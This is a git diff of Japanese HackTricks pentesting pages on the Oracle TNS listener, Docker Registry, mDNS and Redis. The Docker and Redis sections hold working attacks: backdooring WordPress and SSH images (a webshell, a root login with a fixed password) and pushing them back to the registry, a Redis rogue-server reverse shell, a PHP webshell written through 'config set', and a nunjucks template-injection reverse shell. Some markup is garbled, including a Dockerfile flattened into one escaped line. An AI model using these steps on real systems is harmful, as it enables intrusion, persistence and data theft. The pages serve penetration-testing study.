* [https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
* [https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
* [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
* [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
@ -285,7 +325,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>

View file

@ -0,0 +1,89 @@
# 1521,1522-1529 - Pentesting Oracle TNS Listener
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
* **ハッキングテクニックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)**と**[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
</details>
## 基本情報
OracleデータベースOracle DBは、Oracle Corporationからのリレーショナルデータベース管理システムRDBMSです[こちら](https://www.techopedia.com/definition/8711/oracle-database)から)。
Oracleを列挙する際の最初のステップは、通常デフォルトポート1521/TCP、- 15221529でもセカンダリリスナーを取得することがありますに存在するTNSリスナーと通信することです。
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## 概要
1. **バージョン列挙**:既知の脆弱性を検索するためのバージョン情報を特定します。
2. **TNSリスナーブルートフォース**: 通信を確立するために必要な場合があります。
3. **SID名の列挙/ブルートフォース**: データベース名SIDを発見します。
4. **資格情報ブルートフォース**: 発見されたSIDへのアクセスを試みます。
5. **コード実行**: システム上でコードを実行しようとします。
MSFオラクルモジュールを使用するには、いくつかの依存関係をインストールする必要があります: [**インストール**](https://github.com/carlospolop/hacktricks/blob/jp/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
## 投稿
これらの投稿をチェックしてください:
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## HackTricks Automatic Commands
```
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one.
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for Oracle
Note: |
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
#great oracle enumeration tool
navigate to https://github.com/quentinhardy/odat/releases/
download the latest
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
cd odat-libc2.12-x86_64/
./odat-libc2.12-x86_64 all -s 10.10.10.82
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
Entry_2:
Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

View file

@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦でフォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)****[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
</details>
@ -21,34 +21,41 @@ HackTricksをサポートする他の方法
**DockerHub**は、Dockerのデフォルトのパブリックレジストリとして機能しますが、ユーザーはオンプレミスバージョンのオープンソースDockerレジストリ/ディストリビューションを運用したり、商用サポートされた**Docker Trusted Registry**を選択したりすることもできます。さらに、さまざまな他のパブリックレジストリがオンラインで見つかります。
オンプレミスレジストリからイメージをダウンロードするには、次のコマンドを使用します:
```bash
docker pull my-registry:9000/foo/bar:2.1
```
このコマンドは、`my-registry` ドメインのポート `9000` でオンプレミスレジストリから `foo/bar` イメージバージョン `2.1` を取得します。同じイメージをDockerHubからダウンロードする場合、特に `2.1` が最新バージョンの場合、コマンドは次のように簡略化されます:
```bash
docker pull foo/bar
```
**デフォルトポート:** 5000
```
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
## 発見
このサービスが実行されているかを発見する最も簡単な方法は、nmapの出力でそれを取得することです。とにかく、HTTPベースのサービスであるため、HTTPプロキシの背後にある可能性があり、nmapはそれを検出しません。\
いくつかのフィンガープリント:
- `/` にアクセスすると、応答には何も返されません
- `/v2/` にアクセスすると、`{}` が返されます
- `/v2/_catalog` にアクセスすると、次のような情報を取得できるかもしれません:
- `{"repositories":["alpine","ubuntu"]}`
- `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
* `/` にアクセスすると、応答には何も返されません
* `/v2/` にアクセスすると、`{}` が返されます
* `/v2/_catalog` にアクセスすると、次のような情報を取得できるかもしれません:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
## 列挙
### HTTP/HTTPS
Dockerレジストリは**HTTP**または**HTTPS**を使用するように構成されている場合があります。したがって、最初に行う必要があることは、**どちらが構成されているかを見つける**ことです:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
@ -59,9 +66,11 @@ Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### 認証
Docker レジストリは、**認証**を必要とするように構成することもできます。
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
@ -69,14 +78,18 @@ curl -k https://192.25.197.3:5000/v2/_catalog
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
Docker Registry が認証を要求している場合は、[**これを使用してブルートフォース攻撃を試みることができます**](../generic-methodologies-and-resources/brute-force.md#docker-registry)。\
**有効な資格情報を見つけた場合は、それらを使用して**レジストリを列挙する必要があります。`curl` では、次のように使用できます:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### DockerRegistryGrabberを使用した列挙
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber)は、Dockerレジストリを列挙/ダンプするためのPythonツールです基本認証なしまたは基本認証あり
```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
@ -150,9 +163,11 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### curlを使用した列挙
Dockerレジストリへのアクセスを取得したら、次のコマンドを使用して列挙できます
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
@ -215,11 +230,13 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
現在のディレクトリにblobsファイルとフォルダが表示されるため、blobsファイルをダウンロードして解凍するときに注意してください。**すべてのblobsをダウンロードして同じフォルダに解凍すると、以前に解凍したblobsの値が上書きされる**可能性がありますので、注意してください。各blobを別々のフォルダ内で解凍して、各blobの正確な内容を検査することが興味深いかもしれません。
{% endhint %}
### Dockerを使用した列挙
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
@ -238,6 +255,7 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### WordPressイメージへのバックドア設置
WordPressイメージを保存しているDocker Registryを見つけた場合、バックドアを設置することができます。\
@ -259,45 +277,38 @@ RUN chmod 777 /app/shell.php
```
{% endcode %}
**新しいイメージを作成し、**作成されたことを確認し、**プッシュ**します:
\*\*新しいイメージを作成し、\*\*作成されたことを確認し、**プッシュ**します:
```bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
```
### SSHサーバーイメージへのバックドア設置
Docker RegistryでSSHイメージを見つけ、バックドアを設置したいとします。\
**イメージをダウンロード**し、**実行**します:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
SSHイメージから`sshd_config`ファイルを抽出します:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
そして、`PermitRootLogin yes` に設定するように変更します。
次のような **Dockerfile** を作成します:
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
**新しいイメージ**を作成し、**作成**されたことを**確認**し、**プッシュ**します:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## 参考文献
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*新しいイメージ\*\*を作成し、\*\*作成\*\*されたことを\*\*確認\*\*し、\*\*プッシュ\*\*します: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## 参考文献 \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
<details>
@ -308,5 +319,7 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦でフォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -1,4 +1,4 @@
# 5353/UDP Multicast DNS (mDNS) DNS-SD
# 5353/UDP Multicast DNS (mDNS) and DNS-SD
<details>
@ -9,7 +9,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f) **または** [**telegramグループ**](https://t.me/peass) **に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live) **をフォローする**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details>
@ -17,47 +17,54 @@ HackTricks をサポートする他の方法:
## **基本情報**
**マルチキャストDNSmDNS** は、従来のDNSサーバーを必要とせずにローカルネットワーク内で **DNSのような操作** を可能にします。 **UDPポート5353** で動作し、デバイスがお互いやそれらのサービスを発見できるようにし、さまざまなIoTデバイスでよく見られます。 **DNS Service DiscoveryDNS-SD** は、しばしばmDNSと併用され、標準DNSクエリを介してネットワーク上で利用可能なサービスを特定するのに役立ちます。
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **mDNSの動作**
標準DNSサーバーがない環境では、mDNSを使用して、マルチキャストアドレス**224.0.0.251**IPv4または**FF02::FB**IPv6にクエリを送信することで、**.local**で終わるドメイン名を解決することができます。mDNSの重要な側面には、レコードの有効性を示す**Time-to-LiveTTL**値と、ユニキャストとマルチキャストクエリを区別する**QUビット**が含まれます。セキュリティの観点から、mDNSの実装では、パケットのソースアドレスがローカルサブネットと一致していることを検証することが重要です。
標準DNSサーバーがない環境では、mDNSを使用して、マルチキャストアドレス**224.0.0.251**IPv4または**FF02::FB**IPv6にクエリを送信することで、**.local**で終わるドメイン名を解決することができます。mDNSの重要な側面には、レコードの有効性を示す**Time-to-LiveTTL値と、ユニキャストとマルチキャストクエリを区別するQUビット**が含まれます。セキュリティの観点から、mDNSの実装では、パケットのソースアドレスがローカルサブネットと一致していることを検証することが重要です。
### **DNS-SDの機能**
DNS-SDは、サービスタイプをそのインスタンスにマップするポインタレコードPTRをクエリすることによって、ネットワークサービスの発見を容易にします。サービスは、**.local**ドメイン内の**_\<Service>.\_tcp**または**\_\<Service>.\_udp**パターンを使用して識別され、対応する**SRV**および**TXTレコード**が提供する詳細なサービス情報を発見します。
DNS-SDは、サービスタイプをそのインスタンスにマップするポインタレコードPTRをクエリすることによって、ネットワークサービスの発見を容易にします。サービスは、**.local**ドメイン内の**\_\<Service>.\_tcp**または\*\*\_\<Service>.\_udp**パターンを使用して識別され、対応する**SRV**および**TXTレコード\*\*が提供する詳細なサービス情報を発見します。
### **ネットワークの探索**
#### **nmapの使用**
mDNSサービスをスキャンするための便利なコマンドは次のとおりです
```bash
nmap -Pn -sUC -p5353 [target IP address]
```
このコマンドは、オープンなmDNSポートとそれらが広告するサービスを特定するのに役立ちます。
#### **Pholusを使用したネットワーク列挙**
アクティブにmDNSリクエストを送信してトラフィックをキャプチャするために、**Pholus**ツールを以下のように利用できます:
```bash
sudo python3 pholus3.py [network interface] -rq -stimeout 10
```
## 攻撃
### **mDNSプロービングの悪用**
攻撃ベクトルは、mDNSプローブに対してスプーフィングされた応答を送信し、すべての潜在的な名前がすでに使用中であると示唆することに関与し、新しいデバイスが一意の名前を選択するのを妨げることです。これは以下を使用して実行できます
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
```
この技術は、新しいデバイスがネットワーク上でサービスを登録するのを効果的にブロックします。
**要約すると**、mDNSとDNS-SDの動作を理解することは、ネットワーク管理とセキュリティにとって重要です。 **nmap****Pholus** のようなツールは、ローカルネットワークサービスに関する貴重な情報を提供します。潜在的な脆弱性に対する認識は、攻撃から保護するのに役立ちます。
### スプーフィング/MitM
このサービス上で実行できる最も興味深い攻撃は、**クライアントと実際のサーバー間の通信**で**MitM**を実行することです。プリンターとの通信をMitMすることで、機密ファイルを入手したりMitM the communication with the printer、資格情報Windows認証を入手する可能性があります。\
@ -80,7 +87,7 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や [**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。**
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**** [**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
- **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に**参加**するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**を**フォロー\*\*してください。
* **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
@ -27,7 +27,7 @@ HackTricksをサポートする他の方法
**最新のアナウンス**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手しましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)に参加**して、今日からトップハッカーと協力を始めましょう!
[**Discord**](https://discord.com/invite/N3FrSbmwdy)**に参加**して、今日からトップハッカーと協力を始めましょう!
## 基本情報
@ -36,17 +36,21 @@ HackTricksをサポートする他の方法
デフォルトでは、Redisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**も実装できることに注意する必要があります。[ここ](https://fossies.org/linux/redis/TLS.md)でRedisをssl/tlsで実行する方法を学びます。
**デフォルトポート:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## 自動列挙
いくつかの自動化ツールが、Redisインスタンスから情報を取得するのに役立ちます
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## 手動列挙
### バナー
@ -54,14 +58,18 @@ msf> use auxiliary/scanner/redis/redis_server
Redisは**テキストベースのプロトコル**です。**ソケットにコマンドを送信**するだけで、返される値は読み取れます。また、Redisは**ssl/tls**を使用して実行することもできます(しかし、これは非常に珍しいです)。
通常のRedisインスタンスでは、`nc`を使用して接続するか、`redis-cli`を使用することもできます:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
最初に試すべき**コマンド**は**`info`**です。これはRedisインスタンスの情報を出力するか、以下のような情報が返される可能性があります
最初に試すべき**コマンド**は\*\*`info`\*\*です。これはRedisインスタンスの情報を出力するか、以下のような情報が返される可能性があります
```
-NOAUTH Authentication required.
```
### Redis 認証
**デフォルトでは**、Redis には **資格情報がなくてもアクセス** できます。ただし、**パスワードのみ、またはユーザー名 + パスワード** をサポートするように **構成** することができます。\
@ -75,14 +83,17 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
このようなケースでは、Redis とやり取りするために **有効な資格情報を見つける必要があります**。それを試すために [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#redis) を試すことができます。\
**有効な資格情報を見つけた場合は、接続を確立した後にセッションを認証する必要があります**。
```bash
AUTH <username> <password>
```
**有効な資格情報** は次のように応答されます: `+OK`
### **認証済み列挙**
Redisサーバーが**匿名接続**を許可している場合、または有効な資格情報を取得している場合、以下の**コマンド**を使用してサービスの列挙プロセスを開始できます:
```bash
INFO
[ ... Redis response with info ... ]
@ -91,12 +102,15 @@ client list
CONFIG GET *
[ ... Get config ... ]
```
**その他のRedisコマンド**は[こちら](https://redis.io/topics/data-types-intro)**と**[こちら](https://lzone.de/cheat-sheet/Redis)**で見つけることができます。**
Redisインスタンスの**Redisコマンドは、_redis.conf_**ファイルで名前を変更したり削除したりすることができます。例えば、次の行はFLUSHDBコマンドを削除します
Redisインスタンスの**Redisコマンドは、**_**redis.conf**_ファイルで名前を変更したり削除したりすることができます。例えば、次の行はFLUSHDBコマンドを削除します
```
rename-command FLUSHDB ""
```
よりセキュアにRedisサービスを設定する方法については、[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) を参照してください。
また、実行されたRedisコマンドをリアルタイムで監視するには、`monitor`コマンドを使用するか、トップ25の遅いクエリを取得するには`slowlog get 25`を使用できます。
@ -110,10 +124,13 @@ Redis内では、データベースは0から始まる番号です。 "Keyspace"
![](<../.gitbook/assets/image (315).png>)
または、すべてのキースペース(データベース)を取得することもできます:
```
INFO keyspace
```
その例では、**データベース0と1**が使用されています。**データベース0には4つのキーが含まれ、データベース1には1つのキーが含まれています**。Redisはデフォルトでデータベース0を使用します。たとえばデータベース1をダンプするには、次のようにします
```bash
SELECT 1
[ ... Indicate the database ... ]
@ -122,9 +139,11 @@ KEYS *
GET <KEY>
[ ... Get Key ... ]
```
もし`GET <KEY>`を実行する際に`-WRONGTYPE Operation against a key holding the wrong kind of value`というエラーが表示された場合、キーが文字列や整数以外のものであり、それを表示するためには特別な演算子が必要となる可能性があります。
キーのタイプを知るには、`TYPE`コマンドを使用します。以下はリストとハッシュキーの例です。
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
@ -136,6 +155,7 @@ HGET <KEY> <FIELD>
# If the type used is weird you can always do:
DUMP <key>
```
**npmを使用してデータベースをダンプする** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **またはPython** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
@ -151,19 +171,22 @@ DUMP <key>
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力を始めましょう!
[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
## Redis RCE
### インタラクティブシェル
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) はRedis(<=5.0.5)で自動的にインタラクティブシェルまたはリバースシェルを取得できます。
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
情報は[**こちら**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)から。**Webサイトフォルダ**の**パス**を知っている必要があります:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
@ -175,6 +198,7 @@ OK
10.85.0.52:6379> save
OK
```
Webshellアクセス例外がある場合は、バックアップを取った後にデータベースを空にしてから再度試すことができます。データベースを復元することを忘れないでください。
### テンプレートWebshell
@ -182,6 +206,7 @@ Webshellアクセス例外がある場合は、バックアップを取った後
前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きしてシェルを取得することもできます。
たとえば、[**この解説**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)に従って、攻撃者が**nunjucksテンプレートエンジンによって解釈されるhtmlにrevシェルを注入**したことがわかります。
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
@ -195,6 +220,7 @@ sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
**複数のテンプレートエンジンがテンプレートをメモリにキャッシュ**するため、それらを上書きしても新しいものは**実行されません**。この場合、開発者が自動リロードを有効にしたままにしているか、サービスにDoSを実行する必要がありますそしてそれが自動的に再起動されることを期待する必要があります
{% endhint %}
@ -219,11 +245,13 @@ OK
10.85.0.52:6379> save
